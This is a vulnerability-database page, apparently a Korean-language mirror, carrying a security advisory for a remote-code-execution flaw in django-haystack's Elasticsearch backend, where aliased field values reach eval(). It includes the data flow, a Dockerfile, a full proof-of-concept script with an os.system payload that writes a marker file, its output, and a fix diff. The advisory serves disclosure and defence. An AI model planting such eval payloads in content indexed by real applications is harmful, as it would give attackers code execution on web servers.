취약성 데이터베이스GHSA-r3hx-x5rh-p9vv

GHSA-r3hx-x5rh-p9vv
Python 취약성 분석 및 완화

Remote Code Execution via eval() in Elasticsearch Result Deserialization

Summary

The Elasticsearch backend in django-haystack calls eval() on raw field values returned from Elasticsearch when a SearchField is declared with an index_fieldname alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to _to_python()eval(). An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: 8.5 (High).

Details

Sink — haystack/backends/elasticsearch_backend.py:865:

converted_value = eval(value)

_to_python() (line ~850) attempts to parse a string value by calling eval() before performing any type-safety check. If the value is an attacker-controlled Python expression such as __import__('os').system(...), the expression is executed unconditionally. Root cause — haystack/backends/elasticsearch_backend.py:727–737:

for key, value in source.items():
    string_key = str(key)
    if string_key in index.fields and hasattr(index.fields[string_key], "convert"):
        additional_fields[string_key] = index.fields[string_key].convert(value)
    else:
        additional_fields[string_key] = self._to_python(value)

index.fields is keyed by the logical field name (e.g. "name"), but Elasticsearch stores the document under the index_fieldname alias (e.g. "name_s"). Because "name_s" not in index.fields, the branch falls through to self._to_python(value). Data flow (source → sink):

  1. haystack/indexes.py:226self.prepared_data[field.index_fieldname] = field.prepare(obj) stores data under the alias.
  2. haystack/backends/elasticsearch_backend.py:218 — prepared data copied into final_data.
  3. haystack/backends/elasticsearch_backend.py:236bulk(...) writes the document to Elasticsearch under the alias key.
  4. haystack/backends/elasticsearch_backend.py:574 — search reads attacker-influenced _source back from Elasticsearch.
  5. haystack/backends/elasticsearch_backend.py:720_process_results() takes raw_result["_source"].
  6. haystack/backends/elasticsearch_backend.py:730 — lookup string_key in index.fields fails for alias keys.
  7. haystack/backends/elasticsearch_backend.py:737 — unmatched value passed to _to_python(value).
  8. haystack/backends/elasticsearch_backend.py:865sink: converted_value = eval(value). Missing fix: The Solr backend correctly remaps aliases at haystack/backends/solr_backend.py:535–539 using index.field_map before performing the index.fields lookup. The Elasticsearch backend has no equivalent remapping. Preconditions:
  • The application uses the Elasticsearch backend.
  • At least one SearchField in a SearchIndex is declared with index_fieldname set to a value different from the logical attribute name.
  • The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index).
  • The attacker can trigger or wait for a search that returns the malicious document.

PoC

Environment setup (Docker):


# Build the proof-of-concept image
docker build -t vuln001-poc \
  -f /path/to/vuln-001/Dockerfile \
  /path/to/reports/pypiAi_436_django-haystack__django-haystack/

# Run the PoC — exits 0 on confirmed RCE
docker run --rm vuln001-poc

Dockerfile (vuln-001/Dockerfile):

FROM python:3.11-slim
WORKDIR /app
RUN pip install --no-cache-dir setuptools setuptools_scm wheel
COPY repo/ /app/repo/
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8"
RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]

PoC script (vuln-001/poc.py) — key sections:


# SearchField with index_fieldname alias
class MockField:
    index_fieldname = "name_s"   # ES key
    def convert(self, value): return str(value)
class MockIndex:
    fields = {"name": MockField()}   # logical key — "name_s" NOT present
    field_map = {"name_s": "name"}

# Malicious payload placed in the alias key of a crafted ES _source response
MARKER_FILE = "/tmp/django_haystack_eval_rce_proof"
payload = (
    f"__import__('os').system("
    f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')"
)
raw_results = {"hits": {"total": 1, "hits": [{
    "_score": 1.0,
    "_source": {
        "django_ct": "app.model",
        "django_id": "1",
        "name_s": payload,   # alias key → lookup fails → eval()
    },
}]}}
backend._process_results(raw_results)

# Confirms RCE: /tmp/django_haystack_eval_rce_proof contains "PWNED_BY_EVAL_RCE"

Observed output (Phase 2 dynamic reproduction):

============================================================
VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend
============================================================
[*] Payload : __import__('os').system('echo PWNED_BY_EVAL_RCE > /tmp/django_haystack_eval_rce_proof')
[*] Marker  : /tmp/django_haystack_eval_rce_proof
[*] Sink    : elasticsearch_backend.py:865  eval(value)
[+] SUCCESS: RCE CONFIRMED
[+] Marker file created: /tmp/django_haystack_eval_rce_proof
[+] File content: PWNED_BY_EVAL_RCE
RESULT: PASS - VULN-001 is dynamically reproduced and exploitable

Recommended remediation:

--- a/haystack/backends/elasticsearch_backend.py
+++ b/haystack/backends/elasticsearch_backend.py
-import re
+import ast
+import re
 
             index = source and unified_index.get_index(model)
+            index_field_map = index.field_map
             for key, value in source.items():
                 string_key = str(key)
+                if string_key in index_field_map:
+                    string_key = index_field_map[string_key]
 
                 if string_key in index.fields and hasattr(
                     index.fields[string_key], "convert"
 
-            converted_value = eval(value)
+            converted_value = ast.literal_eval(value)

Impact

This is a Remote Code Execution (RCE) vulnerability. Any attacker who can submit content that is stored and indexed in Elasticsearch—then retrieved via a search—can execute arbitrary Python (and shell) commands in the Django application process with the privileges of the web server. Full confidentiality, integrity, and availability of the server are at risk. Because Haystack is a reusable search library, the vulnerability affects all Django applications that use the Elasticsearch backend with index_fieldname aliasing, regardless of how authentication is configured by the application.

Reproduction artifacts

Dockerfile

FROM python:3.11-slim
WORKDIR /app

# Install build tools needed for setuptools_scm
RUN pip install --no-cache-dir setuptools setuptools_scm wheel

# Copy the django-haystack repository source
COPY repo/ /app/repo/

# Install Django and the elasticsearch client
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8"

# Install django-haystack from the local repo (editable install)

# setuptools_scm requires git metadata; use fallback version instead
RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/

# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py

# Run the PoC by default
CMD ["python3", "/app/poc.py"]

poc.py

"""
PoC for VULN-001: Arbitrary Code Execution via eval() in
ElasticsearchSearchBackend._process_results (django-haystack)
Vulnerability:
    haystack/backends/elasticsearch_backend.py:865 calls eval(value) on
    Elasticsearch _source field values that do not match any entry in
    index.fields. This mismatch occurs when a SearchField uses
    index_fieldname (alias) different from its logical field name: ES stores
    data under the alias, but the backend looks up fields by logical name,
    causing unmatched values to fall through to _to_python() -> eval().
Attack path:
    1. Attacker controls content that is indexed into Elasticsearch.
    2. The Django app has a SearchIndex field with index_fieldname alias.
    3. ES stores the document under the alias key.
    4. On search, _process_results reads _source where the alias key is NOT
       found in index.fields (which uses logical names).
    5. The value routes to _to_python(value) -> eval(value) -> RCE.
This PoC bypasses the need for a live Elasticsearch instance by directly
calling _process_results() with a crafted raw result dict.
"""
import os
import sys

# ---------------------------------------------------------------------------

# 1. Configure Django (no database required)

# ---------------------------------------------------------------------------
from django.conf import settings
if not settings.configured:
    settings.configure(
        SECRET_KEY="poc-only-not-for-production",
        INSTALLED_APPS=[
            "django.contrib.contenttypes",
            "django.contrib.auth",
            "haystack",
        ],
        HAYSTACK_CONNECTIONS={
            "default": {
                "ENGINE": "haystack.backends.elasticsearch_backend.ElasticsearchSearchEngine",
                "URL": "http://127.0.0.1:9200/",
                "INDEX_NAME": "poc_index",
            }
        },
        DATABASES={},
    )
import haystack
import haystack.backends.elasticsearch_backend as esb

# ---------------------------------------------------------------------------

# 2. Mock objects to simulate the Haystack/ES environment

# ---------------------------------------------------------------------------
class MockField:
    """
    Simulates a SearchField declared with an index_fieldname alias.
    Logical field name: "name"
    ES storage key (index_fieldname): "name_s"
    """
    index_fieldname = "name_s"
    def convert(self, value):
        return str(value)
class MockIndex:
    """
    Simulates a SearchIndex.
    fields: keyed by LOGICAL name ("name")
    field_map: alias -> logical name  (Solr uses this; ES backend does NOT)
    """
    fields = {
        "name": MockField(),
    }
    field_map = {"name_s": "name"}
class MockUnifiedIndex:
    document_field = "text"
    def get_indexed_models(self):
        return [object]
    def get_index(self, model):
        return MockIndex()
class MockConnection:
    def get_unified_index(self):
        return MockUnifiedIndex()

# Patch the global haystack connections registry so _process_results can

# look up the unified index without a real Elasticsearch connection.
haystack.connections = {"default": MockConnection()}

# Patch the model-lookup helper used inside _process_results.

# Returns `object` so the model is found and the result is processed.
esb.haystack_get_model = lambda app_label, model_name: object

# ---------------------------------------------------------------------------

# 3. Build the malicious payload

# ---------------------------------------------------------------------------
MARKER_FILE = "/tmp/django_haystack_eval_rce_proof"

# os.system() returns the exit code (int). The isinstance(int) check in

# _to_python() passes, so eval() completes without raising, confirming

# full expression execution. The shell command writes the proof file.
payload = (
    f"__import__('os').system("
    f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')"
)

# Crafted Elasticsearch raw response:

#   "name_s" is the index_fieldname alias stored in ES.

#   "name" is the logical field name present in index.fields.

#   Because "name_s" != "name", the lookup fails and value goes to eval().
raw_results = {
    "hits": {
        "total": 1,
        "hits": [
            {
                "_score": 1.0,
                "_source": {
                    "django_ct": "app.model",   # required sentinel field
                    "django_id": "1",           # required sentinel field
                    "name_s": payload,          # alias key -> eval() path
                },
            }
        ],
    }
}

# ---------------------------------------------------------------------------

# 4. Instantiate the backend without __init__ (no live ES connection needed)

# ---------------------------------------------------------------------------
backend = esb.ElasticsearchSearchBackend.__new__(esb.ElasticsearchSearchBackend)
backend.connection_alias = "default"
backend.include_spelling = False

# ---------------------------------------------------------------------------

# 5. Trigger the vulnerability

# ---------------------------------------------------------------------------
print("=" * 60)
print("VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend")
print("=" * 60)
print(f"[*] Payload : {payload}")
print(f"[*] Marker  : {MARKER_FILE}")
print(f"[*] Sink    : elasticsearch_backend.py:865  eval(value)")
print()

# Remove any leftover marker from a previous run
if os.path.exists(MARKER_FILE):
    os.remove(MARKER_FILE)
try:
    backend._process_results(raw_results)
except Exception as exc:
    # An exception here does not mean eval() was not called;
    # the side effect (file write) is the ground truth.
    print(f"[!] _process_results raised (checking side effects anyway): {exc}")

# ---------------------------------------------------------------------------

# 6. Verify the side effect

# ---------------------------------------------------------------------------
print()
if os.path.exists(MARKER_FILE):
    content = open(MARKER_FILE).read().strip()
    print("[+] SUCCESS: RCE CONFIRMED")
    print(f"[+] Marker file created: {MARKER_FILE}")
    print(f"[+] File content: {content}")
    print()
    print("RESULT: PASS - VULN-001 is dynamically reproduced and exploitable")
    sys.exit(0)
else:
    print("[-] FAILURE: Marker file was not created")
    print("[-] eval() was not triggered or the payload did not execute")
    print()
    print("RESULT: FAIL - RCE could not be confirmed")
    sys.exit(1)

근원네비디(NVD)

관련 Python 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 익스플로잇

수정 사항이 있습니다.

게시된 날짜

GHSA-r3hx-x5rh-p9vvHIGH8.7
  • Python logoPython
  • django-haystack
아니요Jul 15, 2026
CVE-2026-54457HIGH7.7
  • Python logoPython
  • tensorzero
아니요Jul 15, 2026
CVE-2026-50271HIGH7.5
  • Python logoPython
  • ddtrace
아니요Jul 15, 2026
CVE-2026-54254MEDIUM6.9
  • Python logoPython
  • cyberdrop-dl-patched
아니요Jul 15, 2026
CVE-2026-53656MEDIUM6.3
  • Python logoPython
  • fiftyone
아니요Jul 15, 2026

무료 취약성 평가

클라우드 보안 태세를 벤치마킹합니다

9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.

평가 요청

추가 Wiz 리소스

맞춤형 데모 받기

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭최고정보책임자(CISO)
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자